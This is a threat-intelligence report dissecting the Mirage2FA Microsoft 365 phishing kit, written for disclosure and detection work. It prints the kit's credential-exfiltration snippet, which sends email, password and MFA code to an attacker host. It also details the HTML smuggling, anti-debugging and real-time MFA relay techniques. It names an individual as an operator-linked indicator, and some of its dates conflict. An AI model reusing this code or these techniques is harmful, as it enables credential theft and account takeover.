Inside Mirage2FA — Reverse-Engineering a Two-Year M365 Phishing Operation
Bottom line up front: We deobfuscated Mirage2FA's 94KB JavaScript loader and mapped the kit's live phishing, exfiltration, and MFA relay infrastructure. The kit uses HTML smuggling for initial access, a heavily obfuscated second-stage JS loader (310-entry string array, 930 decoded references), and a dual-channel exfiltration architecture (HTTP POST + WebSocket C2) to steal credentials and MFA codes in real-time. Infrastructure and OSINT artefacts link the campaign to operator-linked aliases and services; these should be treated as indicators rather than confirmed identity attribution. The operation has been continuously active since at least July 2024 across 31+ domains and 14 IPs.
Evidence Summary
This article makes claims beyond the public Fortra baseline. Each major claim and its supporting evidence is listed below. Confidence levels: HIGH = direct tool evidence (deobfuscated code, URLScan results, fetched scripts) · MEDIUM = strong correlative evidence (shared infrastructure, matching patterns) · LOW = OSINT artefacts that require independent verification.
| Claim | Evidence | Confidence |
|---|---|---|
| user.cheacker.store hosts JS loader | Fortra writeup + sandbox/URLScan + fetched script | HIGH |
| letsgetitnow2.store is exfil endpoint | Base64-decoded JS endpoint + POST logic in deobfuscated code | HIGH |
| /wsUlr is page-tracking C2 | Deobfuscated WebSocket code — page_visit action, IP collection | HIGH |
| /8585 is MFA relay channel | Deobfuscated WebSocket code — 2FA code sent on input | HIGH |
| 31+ domains part of same kit | Shared JS paths, matching hashes, identical page templates, infra overlap | MEDIUM |
| 14 IPs across 5 hosting providers | URLScan + IP pivots + passive DNS + CT logs | MEDIUM |
| 2-year continuous activity | Certificate transparency + URLScan historical + Wayback Machine | MEDIUM |
| Operator-linked aliases (LinXcoded / zxcoder) | Telegram bot in JS code + domain CT + ASN registration artefacts | LOW |
Initial Investigation
Fortra published Mirage2FA indicators around cheacker.store and user.cheacker.store. We extracted the known second-stage paths, fetched and sandboxed available JS loaders, decoded the obfuscation framework, then pivoted across URLScan, certificate transparency, passive DNS, shared path structures, repeated JS loader names, CAPTCHA hosts, and exfil endpoints.
The objective was not to restate Fortra's findings, but to determine whether the kit had broader infrastructure, reused backend services, related historical domains, and detectable JavaScript behaviours. What we found was a two-year, multi-domain operation with a sophisticated real-time MFA relay architecture.
Contents
- Evidence Summary
- Initial Investigation
- Executive Summary
- The HTML Smuggling Vector
- Obfuscation Framework
- Anti-Analysis Toolkit
- The CAPTCHA Gate
- The Fake M365 Login
- WebSocket C2 Channels
- Credential Exfiltration
- Real-Time 2FA Relay
- Attack Chain
- Infrastructure Map
- Indicators of Compromise
- Detection Coverage
Executive Summary
The kit — named Mirage2FA by the Fortra FIRE team — begins with a phishing email containing an HTML attachment. That attachment uses a technique called HTML smuggling: a Base64-encoded, XOR-encrypted payload that decodes itself at runtime via TextDecoder and eval(), redirecting the victim to a second-stage JavaScript loader hosted on attacker-controlled infrastructure.
That JavaScript file — approximately 94KB in size — is heavily obfuscated with a 310-entry string array, runtime rotation, and 77 local variable aliases. After deobfuscating 930 string references, the full attack chain became clear: a CAPTCHA gate, a pixel-perfect Microsoft 365 login page, two WebSocket C2 channels for real-time operator communication, and a credential exfiltration endpoint that sends email, password, and MFA codes to a Namecheap-hosted server.
The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia. OSINT artefacts — including Telegram bot references in the JS code, a .my.id domain, and ASN registration records — link the campaign to operator-linked aliases using the names LinXcoded and zxcoder. These artefacts should be treated as operator-linked indicators rather than confirmed identity attribution. The operation has been continuously active since at least July 2024.
LIVE AT TIME OF ANALYSIS 2-YEAR CAMPAIGN (HISTORICAL) 94KB JS DEOBFUSCATED
The HTML Smuggling Vector
The initial delivery is an HTML file attached to a phishing email. Two filename patterns have been identified:
Docxs-AuthForm_Review-ref<hash>-.html— document sharing theme (SHA256:C44AF2B1...)Play_voicemail-NowVWAV.htm— voicemail theme (SHA256:E88AC0D6...)
When opened, the HTML file executes a Base64 decode followed by an XOR operation with key 0xAD, passes the result through TextDecoder, and calls eval(). This reconstructs and executes the second-stage payload entirely in memory — nothing is written to disk, and the decoded content never appears in the browser's page source. The victim is then redirected to the obfuscated JavaScript loader.
Why HTML smuggling works: Email security gateways scan attachments for known file types and malicious signatures. By encoding the payload inside a Base64+XOR layer inside an otherwise benign-looking HTML file, the attachment passes signature-based checks. The malicious content only materialises when the browser's JavaScript engine executes the decoding chain — by which point the victim has already opened the file.
Obfuscation Framework
The second-stage JavaScript loader is approximately 94KB of heavily obfuscated code. The obfuscation follows a well-known pattern — likely generated by javascript-obfuscator or a similar tool — but with custom parameters that make static analysis extremely tedious without automated deobfuscation.
string array · 310 entries
A function (a0_0x27fa) defines an array of 310+ obfuscated string entries, totalling 47,419 characters. This array holds every piece of text the kit needs: HTML templates, CSS, URLs, WebSocket endpoints, UI strings, error messages, and the base64-encoded exfiltration URL.
rotation iife · seed 0x3b15d
An Immediately Invoked Function Expression rotates the array by repeatedly shifting and pushing elements until a mathematical checksum (0x3b15d = 242,909) matches. Only after the array is in the correct order do string lookups return valid values.
lookup function · 77 aliases
A lookup function (a0_0x6292) takes a hex index, applies an offset (-0x97), and returns the string at that position. Throughout the code, 77 local variables are assigned as aliases to this function — each used to decode strings within its own function scope, preventing simple find-and-replace deobfuscation.
After building a custom deobfuscator that evaluates the string array, rotation IIFE, and lookup function in a Node.js VM sandbox, 930 obfuscated string references were successfully replaced with their decoded values. The deobfuscated source is 94,022 characters — only 8 characters larger than the original, because most decoded strings are similar in length to their hex index representations.
Anti-Analysis Toolkit
The kit implements six distinct anti-analysis mechanisms. Together, they make manual reverse-engineering in a browser environment extremely difficult without automated tooling.
1. Debugger trap
A setInterval runs every 100 milliseconds, executing a debugger statement. If DevTools is open, the debugger pauses execution, creating a measurable time delta. When performance.now() detects a pause longer than 100ms, the page immediately redirects to a decoy URL.
2. Decoy redirect
The redirect target is a legitimate-looking Microsoft 365 URL:
https://outlook.office365.com/encryption/login?itemid=e4e_m_5e217a7d-1049-4a97-9017-6be67ce4532d&recipientemailaddress=user@office.com&senderemailaddress=user@office.com&st=microsoft&anchormailbox=systemmailbox%7b0af09b7f-434f-4b2f-9cbc-57639edcfd9c%7d@any365.onmicrosoft.com&e4e_sdata=
This URL contains realistic Microsoft parameters — itemid, recipient/sender email addresses, an anchor mailbox GUID — making it appear as a genuine Microsoft encryption login endpoint. A researcher who triggers the anti-debug trap lands on what looks like a legitimate Microsoft page.
3. Keyboard shortcut blocking
The kit intercepts and blocks: F12 (DevTools), Ctrl+Shift+I/J/C/K (DevTools panels), Ctrl+U (View Source), Ctrl+H (History), and Meta+Alt+I/C (macOS DevTools). All events have preventDefault() and stopPropagation() called on them.
4. Context menu disabled
Right-click is disabled globally via addEventListener('contextmenu', e => e.preventDefault(), {capture: true}), preventing access to "Inspect Element."
5. MutationObserver
A MutationObserver watches document.body for any DOM changes (childList: true, subtree: true). If a researcher modifies the DOM — for example, to remove the disabled attribute from a button or delete the CAPTCHA element — the observer fires and re-applies all protections.
6. Button protection
All buttons except a honeypot (#dummy-bot-trap) are disabled on page load with disabled=true and data-protected=true. The MutationObserver re-enforces this if any buttons are modified. Automated bot frameworks that click the first available button will click the honeypot, potentially triggering bot detection.
The CAPTCHA Gate
Before the victim sees the login page, they must pass a CAPTCHA gate displaying "Verify you are human" — text that mimics Cloudflare's challenge page, creating a familiar UX that victims trust.
The CAPTCHA image is served from miniapp.ascertain.it.com/captcha.png with a timestamp query parameter to prevent caching. Despite the .png extension, the image is actually a server-generated SVG with randomised coloured paths — an anti-OCR technique that prevents automated solvers from reading the text.
Verification is a POST request to miniapp.ascertain.it.com/captcha/verify with JSON body {"answer": "<user_input>"}. Session cookies are included (credentials: "include"). The retry count is persisted in localStorage as captchaRetryCount.
Bootstrap 4.0.0 CSS (298KB) and jQuery 2.2.4 / 3.1.1 are loaded from the kit's own infrastructure and legitimate CDNs respectively. The CSS is hosted at miniapp.ascertain.it.com/start/xls/includes/css6.css.
The Fake M365 Login
After passing the CAPTCHA, the victim sees a pixel-perfect clone of the Microsoft 365 sign-in page. The page uses jQuery .show() and .hide() to transition between eight distinct states (div0 through div7):
| Division | Purpose | Key Fields |
|---|---|---|
div0 | CAPTCHA / loading screen | CAPTCHA input |
div1 | Email entry ("Sign In") | #ai (email) |
div2 | Password entry | #pr (password) |
div3 | MFA method selection / waiting | Operator-controlled |
div4 | Numeric 2FA code entry | #2fa-code |
div5 | Two-way voice verification | Voice prompt |
div6 | Text code entry | #text-2fa-code |
div7 | One-time code (OTC) entry | OTC input |
The kit loads genuine Microsoft CDN assets to enhance authenticity: favicon from aadcdn.msauth.net, authenticator app icons, and sign-in option SVGs from aadcdn.msftauth.net. These are real Microsoft infrastructure domains — the phishing page is pulling legitimate assets from Microsoft's own CDN.
Error messages are realistic Microsoft text: "Your account or password is incorrect. If you don't remember your password, reset it now"; "Incorrect 2FA code. Try again."; "Sorry, your sign-in timed out. Please sign in again."
Email input is validated with regex /^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$/ before acceptance.
WebSocket C2 Channels
Mirage2FA uses two distinct WebSocket C2 channels, each serving a different purpose in the attack chain.
Channel 1: Page tracking (wss://user.cheacker.store/wsUlr)
This channel opens after the victim passes the CAPTCHA and clicks "Next." On connection open, the kit fetches the victim's public IP address from api.ipify.org?format=json and sends it to the operator as JSON:
{"action": "page_visit", "ip": "victim_public_ip"}
The operator — who is watching the WebSocket server — now knows a victim has arrived, sees their IP address, and can begin the Microsoft 365 login attempt. The operator responds with a JSON status that controls the phishing page flow:
| Operator Command | Page Action | MFA Method Simulated |
|---|---|---|
"two_way_voice" | Show div5 | Voice verification prompt |
"text" | Show div6 | Text code entry |
"otc" | Show div7 | One-time code |
"approve_signin" | Show approval prompt | Authenticator push (simulated) |
This is a real-time interactive attack — the operator watches the victim and dynamically selects the MFA bypass method that matches the victim's organisation's configuration.
Channel 2: 2FA real-time relay (wss://user.cheacker.store/8585)
This channel opens when the victim enters their MFA code. The code is sent immediately to the operator via WebSocket, who uses it to complete the Microsoft 365 authentication before the MFA code expires.
Credential Exfiltration
The credential exfiltration endpoint is stored as a Base64-encoded string in the obfuscated string array:
aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA==
→ https://letsgetitnow2.store/ulr/xwps.php
The exfil URL is decoded at runtime with atob(), preventing static analysis from revealing the endpoint. Credentials are sent via $.ajax POST with a 5-minute timeout:
$.ajax({
dataType: "JSON",
url: atob('aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA=='),
type: "POST",
timeout: 0x493e0, // 300,000ms = 5 minutes
data: {
ai: email, // Account Identifier
pr: password, // Password
code: mfa_code // MFA code
}
});
The field naming convention (ai, pr, code) is consistent across all five JS loader variants and all 31+ domains. Eight exfiltration paths have been confirmed across five JS loader variants and URLScan discovery:
/api/xwps.php—a1p2i.js/eor/xwps.php—e1o2r.js/tsk/xwps.php—t1s2k.js/cmr/xwps.php—c1m2r.js/ulr/xwps.php—u1l2r.js/mor/xwps.php— discovered via URLScan/xlr/xwps.php— discovered via URLScan/ncb/xwps.php— discovered via URLScan
The exfiltration server — letsgetitnow2.store — is hosted on Namecheap premium hosting (IP: 162.0.209.118, LiteSpeed webserver). Its root domain redirects to google.com as a decoy.
On a successful response (status: "success"), the victim is redirected to https://www.office.com — the legitimate Microsoft Office page — creating the illusion of a successful login.
The Real-Time 2FA Relay
The most sophisticated aspect of Mirage2FA is its dual-path 2FA handling. When a victim enters their MFA code, the kit chooses between two exfiltration paths:
First MFA attempt: The code is sent via WebSocket to wss://user.cheacker.store/8585 for real-time relay to the operator. The operator immediately uses the code to complete the Microsoft 365 authentication. If the code is correct, the operator sends {"status": "success"} back, and the victim is redirected to office.com.
Retry attempt (after "Incorrect 2FA code"): The code is sent via HTTP POST to the exfiltration endpoint with the victim's email, password, and MFA code. This is the persistent storage path — credentials are stored on the exfil server for later use, even if the real-time relay fails.
Both WebSocket channels have empty onerror and onclose handlers — the kit silently ignores connection failures to avoid alerting the victim.
Attack Chain
The following diagram illustrates the complete attack chain from phishing email to operator session takeover:
Infrastructure Map
The kit's infrastructure spans five hosting providers across three countries. The operator has maintained continuous operations by rotating domains every 1–3 months while keeping the same backend IPs and JS loader patterns. The following diagram shows the infrastructure architecture:
Indicators of Compromise
Status model: IOC confidence is classified as follows: Live at time of analysis (active and responding at time of writing, Jun 2026) · Observed in URLScan (seen in URLScan historical scans, may be inactive now) · Historical (CT/passive DNS) (appeared in certificate transparency or passive DNS logs, domain may be expired) · Code-derived (extracted from deobfuscated JavaScript, not necessarily live infrastructure). Each IOC table below should be interpreted with this model in mind.
network · IPs
| IP | Provider | Role | Status | Confidence |
|---|---|---|---|---|
185.174.100.224 | HostPapa / ColoCrossing (US) | Primary phishing host | Live at time of analysis | HIGH |
185.174.100.76 | HostPapa / ColoCrossing (US) | CAPTCHA / assets | Live at time of analysis | HIGH |
139.28.36.38 | DeltaHost-Kyiv (UA) | Secondary phishing | Live at time of analysis | HIGH |
162.0.209.118 | Namecheap (US) | Exfil endpoint | Live at time of analysis | HIGH |
139.59.226.143 | DigitalOcean (US) | Operator panels | Observed in URLScan | MEDIUM |
103.172.205.44 | CloudHost (Indonesia) | Operator admin panels | Observed in URLScan | MEDIUM |
network · domains
| Domain | Active Period | Status | Notes |
|---|---|---|---|
cheacker.store | Mar–Jun 2026 | Live at time of analysis | Primary — 5 JS loader paths |
letsgetitnow2.store | Apr 2025–Jun 2026 | Live at time of analysis | Exfil — 8 xwps.php paths |
ascertain.it.com | Jun 2026 | Live at time of analysis | CAPTCHA / CSS host |
dpsindustrialsgroup.com | Sep 2025 | Historical (URLScan) | Victim email in URL param |
zxcoderid.my.id | Nov 2024–Jun 2026 | Historical (CT) | Operator-linked domain |
verpox.shop | Jan–Mar 2026 | Historical (CT) | Earliest confirmed domain |
pcvgtech.store | Apr–Jul 2025 | Historical (CT) | office.* subdomain |
rsxbenefits.com | Jun–Sep 2025 | Historical (CT) | ans.* subdomain |
network · URLs
| URL | Type | Confidence |
|---|---|---|
https://letsgetitnow2.store/*/xwps.php | Exfil endpoint (8 paths) | HIGH |
wss://user.cheacker.store/8585 | 2FA real-time relay | HIGH |
wss://user.cheacker.store/wsUlr | Page tracking + IP collection | HIGH |
https://miniapp.ascertain.it.com/captcha/verify | CAPTCHA verification | HIGH |
https://api.ipify.org?format=json | Victim IP collection | HIGH |
files · hashes
| Hash | Type | Description |
|---|---|---|
C44AF2B12B2E78B83F7CDDF6673E4AB49B059F6724C43C483862B0CEA6AEEFBB | SHA256 | First-stage HTML (Docxs-AuthForm) |
E88AC0D62538EC06D9488437DAC9DD4F90AE3CB48E457AAF24C88E2D9E5AEB22 | SHA256 | First-stage HTML (Play_voicemail) |
2dca60653ec877076a95016605b2dd86 | MD5 | JS loader u1l2r.js (94,014 bytes) |
1f40a74b941d016ef8f46dda79f70fbf | MD5 | JS loader e1o2r.js / c1m2r.js (identical) |
63418af8080c6dd1427bebe120137fd5 | MD5 | JS loader t1s2k.js (94,501 bytes) |
ace27df8a82b6a75ae51e18631eaef67 | MD5 | JS loader a1p2i.js (93,280 bytes) |
infrastructure · operator-linked indicators
| Indicator | Type | Source | Confidence |
|---|---|---|---|
@LinXcoded_bot | Telegram bot reference in JS code | JS code analysis | HIGH |
zxcoderid.my.id | Domain with .my.id TLD (Indonesia) | Certificate transparency | MEDIUM |
Zemlyaniy Dmitro Leonidovich | ASN registrant name (DeltaHost-Kyiv) | ASN registration records | MEDIUM |
redacted@usu.edu | Victim email found in URL parameter | URLScan — Sep 2025 | HIGH |
Note on attribution: The aliases LinXcoded and zxcoder appear in kit infrastructure (Telegram bot in JS code, .my.id domain in CT logs). The name Zemlyaniy Dmitro Leonidovich appears in ASN registration records for DeltaHost-Kyiv, which hosts confirmed phishing domains. These artefacts link the campaign to operator-linked indicators but should not be treated as confirmed identity attribution without independent verification.
Detection Coverage
Eight YARA rules and five Sigma rules were written during this investigation, covering the full spectrum of the kit's indicators:
YARA Rules
| Rule Name | Coverage | Confidence |
|---|---|---|
Mirage2FA_HTML_Smuggling_Payload | First-stage HTML (Base64 + XOR + eval) | HIGH |
Mirage2FA_JS_Loader_Obfuscated_Array | Second-stage JS (310-entry array) | HIGH |
Mirage2FA_Exfil_Pattern | Credential exfil POST (xwps.php) | HIGH |
Mirage2FA_WebSocket_C2 | WebSocket C2 endpoints | HIGH |
Mirage2FA_Captcha_System | CAPTCHA verification system | HIGH |
Mirage2FA_AntiDebug | Anti-debugging measures | HIGH |
Mirage2FA_MS_Brand_Abuse | Microsoft CDN asset loading | HIGH |
Mirage2FA_Base64_Exfil_URL | Base64 exfil URL pattern | HIGH |
Sigma Rules
| Rule Name | Detection | Level |
|---|---|---|
Mirage2FA_JS_Loader_Request | HTTP request to /*/<3-char>/xls/*.js | HIGH |
Mirage2FA_Credential_Exfil_POST | POST to letsgetitnow2.store/*/xwps.php | CRITICAL |
Mirage2FA_WebSocket_C2 | WSS connection to cheacker.store | CRITICAL |
Mirage2FA_CAPTCHA_Verification | POST to miniapp.ascertain.it.com/captcha/verify | HIGH |
Mirage2FA_DNS_Query | DNS query to known infrastructure domains | HIGH |
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Evidence | Confidence |
|---|---|---|---|---|
T1566.001 | Spearphishing Attachment | Initial Access | HTML attachment in phishing email | HIGH |
T1027.006 | HTML Smuggling | Defense Evasion | Base64 + XOR(0xAD) + TextDecoder + eval() in HTML attachment | HIGH |
T1027 | Obfuscated Files or Information | Defense Evasion | 310-entry string array, 77 aliases, rotation IIFE, anti-debug toolkit | HIGH |
T1105 | Ingress Tool Transfer | Command and Control | Second-stage JS loader fetched from user.cheacker.store | HIGH |
T1071.001 | Web Protocols (WebSocket) | Command and Control | wss://user.cheacker.store/wsUlr and /8585 channels | HIGH |
T1111 | Multi-Factor Authentication Interception | Credential Access | MFA code captured from victim and relayed to operator via WebSocket | HIGH |
T1557 | Adversary-in-the-Middle | Credential Access | AiTM proxy — operator uses victim credentials to authenticate to M365 in real-time | HIGH |
T1041 | Exfiltration Over C2 Channel | Exfiltration | MFA code relayed via WebSocket /8585 to operator | HIGH |
T1567 | Exfiltration Over Web Service | Exfiltration | HTTP POST to letsgetitnow2.store/*/xwps.php with {ai, pr, code} | HIGH |
The kit has been continuously active for over two years, rotating domains every 1-3 months while maintaining the same backend infrastructure, the same JS loader pattern, and the same exfiltration endpoint. OSINT artefacts link the campaign to operator-linked aliases (LinXcoded / zxcoder) and infrastructure across Telegram, Pterodactyl panels, and a Jaeger tracing UI — these should be treated as indicators rather than confirmed identity attribution. The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia.
Artifacts: Source code, deobfuscated JS, YARA rules, Sigma rules, IOC blocklist, and sandbox screenshots are retained by Adverse Trace. Sanitized detection rules are available on request.
Phishing-tracker campaign: 52 markers · 3 IP pivots completed · takedown contacts resolved for active domains.
Reporting: reportphish@microsoft.com for M365 brand abuse · hosting abuse reports ready for HostPapa, DeltaHost-Kyiv, Namecheap, DigitalOcean, and CloudHost.